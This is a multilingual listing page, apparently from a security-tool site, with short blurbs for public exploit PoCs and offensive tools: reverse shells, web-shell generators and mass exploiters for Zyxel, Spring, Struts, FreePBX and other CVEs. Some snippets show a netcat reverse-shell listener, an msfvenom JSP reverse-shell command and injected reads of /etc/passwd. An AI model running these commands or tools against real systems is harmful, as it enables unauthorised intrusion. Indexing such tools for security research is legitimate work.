victorian_machinery

Victorian Machinery Victorian Machinery é uma prova de conceito de exploração para CVE-2022-30525. A vulnerabilidade é uma injeção remota de comandos não autenticada que afeta firewalls Zyxel que suportam provisionamento zero touch. A Zyxel lançou uma correção para este problema em 28 de abril de...

Platypus

Platypus लिनक्स मशीनों के बेड़े के लिए एक होस्ट प्रबंधन केंद्र। अपनी प्रत्येक मशीन पर Platypus एजेंट स्थापित करें; एजेंट TLS + protobuf के माध्यम से आपके Platypus सर्वर पर वापस कॉल करता है; सर्वर से आपको प्रत्येक प्रबंधित होस्ट पर एक इंटरैक्टिव शेल, फ़ाइल प्रबंधन और नेटवर्क टनलिंग मिलती है - एक...

HTTP-revshell

Powershell HTTP/S Reverse Shell HTTP-revshell é uma ferramenta focada em exercícios de red team e pentesters. Esta ferramenta fornece uma conexão reversa através do protocolo HTTP/S. Ela utiliza um canal oculto para obter controle sobre a máquina vítima através de requisições web e assim evadir...

unrealircd3.2.8.1-local-exploit

Metasploitable 3 पर परीक्षण किया गया उपयोग Ruby हमलावर के शेल पर root@kitploit: nc -nlvp 1111 पीड़ित के शेल पर root@kitploit: ruby exploit.rb 127.0.0.1 हमलावर के शेल पर अपेक्षित आउटपुट root@kitploit: listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN 192.168.56.105 48144 bobafett...

CVE-2020-8515

CVE-2020-8515 Draytek CVE-2020-8515 PoC كنت أحتفظ به. المضحك أن الأمر المحقون يُنفَّذ مرتين، انظر هنا: root@kitploit: $ ./draytek.py draytek.local executing command: cat /etc/passwd + vulnerable! executing command: uname -a Linux Vigor3900 2.6.33.5 1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown...

CVE-2017-7494

CVE-2017-7494 CVE-2017-7494 C poc CVE-2017-7494 का उपयोग करके रिवर्स शेल प्राप्त करें 1. सबसे पहले sambainit.c को संकलित करें, libsamba.so उत्पन्न करें। 2. isknownpipename.c में संबंधित पते को संशोधित करें, फिर संकलित करें और निष्पादित करें।...

Struts-Apache-ExploitPack

Struts-Apache-ExploitPack ये कुछ स्क्रिप्ट हैं जिनका उपयोग आप Apache Struts भेद्यता CVE-2017-5638 का पता लगाने और उसका शोषण करने के लिए कर सकते हैं। MassScanner और Exploiter उपलब्ध हैं, आप URL की सूची को मास स्कैन करने के लिए स्कैनर का उपयोग कर सकते हैं और फिर Exploiter द्वारा उनका शोषण कर सकते...

CVE-2025-5781

Эксплойт FreePBX CVE-2025-57819 Описание Этот скрипт эксплуатирует уязвимость в версиях FreePBX до 16.0.26.0 CVE-2025-57819, позволяющую удалённым злоумышленникам выполнять произвольный PHP-код из-за недостатка SQL-инъекции в конечной точке AJAX API. Эксплойт создаёт как веб-шелл, так и...

MemShellParty

MemShellParty Chinois | Anglais !WARNING Cet outil est destiné uniquement aux chercheurs en sécurité, aux administrateurs réseau et aux techniciens concernés pour effectuer des tests de sécurité autorisés, des évaluations de vulnérabilités et des audits de sécurité. Toute utilisation de cet outil...

reverse_ssh

Reverse SSH Bildnachweis: https://www.instagram.com/smart.hedgehog.art/ Möchten Sie SSH für Reverse-Shells verwenden? Jetzt ist es möglich. Reverse Shells mit nativer SSH-Syntax verwalten und verbinden Dynamisches, lokales und entferntes Forwarding Native SCP- und SFTP-Implementierungen zum...

CVE-2024-7029

EN GenAvTechRCEExploit CVE-2024-7029 में पाई गई AvTech उपकरणों की कमज़ोरी के लिए एक PoC शोषण, जो रिमोट कोड निष्पादन RCE की अनुमति देता है। यह उपकरण कमज़ोर उपकरणों को स्कैन कर सकता है और उन पर इंटरैक्टिव रूप से कमांड निष्पादित कर सकता है। विशेषताएँ कमज़ोरी का पता लगाना : जाँचें कि AvTech उपकरण RCE...

CVE-2014-6271

CVE-2014-6271 Shellshock أداة استغلال Python تطبيق Python نظيف وفعّال وتفاعلي مصمم لاختبار ثغرة Shellshock CVE-2014-6271 عبر حقن متغيرات بيئة HTTP. 📝 الوصف Shellshock CVE-2014-6271 هي ثغرة أمنية حرجة في صدفة Bash تتيح للمهاجمين تنفيذ أوامر عشوائية بإلحاقها بنهاية تعريفات الدوال المخزنة في متغيرات...

CVE-2025-56399

CVE-2025-56399 Массовый эксплойт CVE-2025-56399 – Удаленное выполнение кода в laravel-file-manager v3.3.1. Эксплуатирует неправильно настроенную конфигурацию в Laravel File Manager для загрузки и проверки PHP-шелла через неаутентифицированную загрузку файлов. Установка Скачайте репозиторий...

shellsum

शेलसम यह क्या है? एक रक्षा उपकरण - md5sum के माध्यम से स्थानीय निर्देशिकाओं में वेब शेल का पता लगाएं विशेषताएं तेज़ गति हल्का वजन बड़ा डेटाबेस तालिका आउटपुट उपयोग स्थापित करें root@kitploit: git clone https://github.com/ManhNho/shellsum.git chmod 755 -R shellsum/ cd shellsum/ pip install -r...

Fast-CVE-2022-22965

Целевая машина root@kitploit: docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest Reverse shell по сути на основе msfvenom root@kitploit: msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp После URL-кодирования JSP, используйте %3C%25 заменяет %25%7Bc2%7...

CVE-2023-4450-Attack

CVE-2023-4450-Attack Ferramenta automatizada para atacar a vulnerabilidade CVE-2023-4450 no JimuReport Introdução Esta ferramenta deve ser usada apenas para testes de segurança, não para fins ilegais! Usage root@kitploit: java -jar CVE-2023-4450-Attack.jar Fornece três funcionalidades: execução d...

CVE-2022-22963-POC

Exploração CVE-2022-22963 Descrição Nas versões 3.1.6, 3.2.2 e versões anteriores não suportadas do Spring Cloud Function, ao usar a funcionalidade de roteamento, é possível que um usuário forneça uma SpEL especialmente criada como uma expressão de roteamento que pode resultar em execução remota ...

CVE-2023-33381-MitraStar-GPT-2741GNAC

CVE-2023-33381-MitraStar-GPT-2741GNAC CVE-2023-33381: حقن أوامر نظام التشغيل في MitraStar GPT-2741GNAC الجهاز: GPT-2741GNAC إصدار البرامج الثابتة: ARg5.8110WVN0b72 وصف الثغرة: عند تسجيل الدخول عبر SSH، لاحظت فورًا مجموعة الأوامر والخيارات المحدودة المتاحة. أصبح واضحًا أنني محصور في بيئة شل مقيدة...

CVE-2026-40176

CVE-2026-40176 — Injection de commande dans le pilote Perforce de Composer Preuve de concept Une preuve de concept autonome, orientée objet en PHP, qui démontre et vérifie différentiellement une vulnérabilité d'injection de commande dans le pilote de dépôt Perforce de Composer. Le PoC exécute le...

Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE

Vulnérabilité de Spring Cloud Function CVE-2022-22963 RCE Ceci est une implémentation en Python de Spring4Shell, CVE-2022-22963, affectant les services exécutant Spring Cloud Function =3.1.6 pour 3.1.x et =3.2.2 pour 3.2.x Combinaison de plusieurs POCs en ligne Auteur : Randall Banner Date :...